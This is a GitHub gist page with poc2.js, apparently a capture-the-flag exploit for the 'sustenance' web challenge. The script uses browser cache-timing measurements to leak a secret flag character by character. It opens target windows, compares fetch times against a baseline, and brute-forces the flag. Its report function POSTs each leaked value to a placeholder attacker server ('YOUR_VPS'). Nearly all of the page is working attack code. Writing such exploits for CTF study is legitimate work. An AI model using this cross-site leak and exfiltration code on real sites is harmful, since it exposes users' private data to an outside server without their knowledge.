poc2.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// to hang the connection | |
fetch('https://deelay.me/20000/https://example.com') | |
// NOTE: we will calculate this baseline before doing the attack | |
var baseLine = 3.2 | |
const sleep = ms => new Promise((resolve) => setTimeout(resolve, ms)) | |
go() | |
async function go() { | |
await calculateBaseline() | |
main() | |
async function calculateBaseline() { | |
var m = Math.random() | |
let win = window.open('https://sustenance.web.actf.co/?m=cached_' + m) | |
// NOTE: this number can be decreased by detecting window load | |
await sleep(500) | |
win.close() | |
let total = 0 | |
for(let i=1; i<=5; i++) { | |
let ts = await getLoadTime('https://sustenance.web.actf.co/?m=cached_' + m) | |
total += ts | |
report(`Cached time, round: ${i}, ${ts}ms`) | |
} | |
// NOTE: 0.5 is just a random guess | |
baseLine = (total/5) + 0.5 | |
report(`Baseline: ${baseLine}`) | |
// NOTE: adjust baseline, should not be more than 3 ms based on previous testing | |
if (baseLine > 3) { | |
baseLine = 3 | |
} | |
for(let i=1; i<=3; i++) { | |
let ts = await getLoadTime('https://sustenance.web.actf.co/?m=not_cached_' + m) | |
report(`Not Cached time, round: ${i}, ${ts}ms`) | |
} | |
} | |
// NOTE: server is quite fast so no need to set timeout | |
async function getLoadTime(url) { | |
const start = performance.now() | |
await fetch(url, { cache: 'force-cache', mode: 'no-cors' }) | |
return performance.now() - start | |
} | |
function genSucceedUrl(t) { | |
let ft = t + '' | |
while(ft.length < 13) { | |
ft += '0' | |
} | |
const status = "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance"; | |
return 'https://sustenance.web.actf.co/?m=' + encodeURIComponent(`your search that took place at ${ft} has ${status}`); | |
} | |
async function isCached(str) { | |
let start = +new Date() | |
let win = window.open(`https://sustenance.web.actf.co/q?q=` + encodeURIComponent(str)) | |
await sleep(500) | |
win.close() | |
// NOTE: base on the data collected, i should be 1~20, pretty small number | |
for(let i=1; i<=30; i++) { | |
const url = genSucceedUrl(start + i) | |
let loadTime = await getLoadTime(url) | |
if (loadTime <= baseLine) { | |
// NOTE: check again to see if it really meets the condition | |
let total = 0 | |
for(let j=1; j<=3; j++) { | |
total += await getLoadTime(url) | |
} | |
total/=3 | |
if (total <= baseLine) { | |
report(`isCached success, str=${str}, i=${i}, start=${start}, total=${total}`) | |
return true | |
} | |
} | |
} | |
return false | |
} | |
async function main() { | |
let flag = 'actf{yummy_' | |
// NOTE: we can leak the charset first to speed up the process | |
let chars = 'acefsmntuy_}'.split('') | |
while(flag[flag.length - 1] !== '}') { | |
for(let char of chars) { | |
report('trying:' + flag + char) | |
if (await isCached(flag + char)) { | |
flag += char | |
report('flag:' + flag) | |
break | |
} | |
} | |
} | |
} | |
async function report(data) { | |
console.log(data) | |
// TODO: change to your VPS | |
return fetch('https://YOUR_VPS/', { method: 'POST', body: data, mode: 'no-cors' }).catch(err => err); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment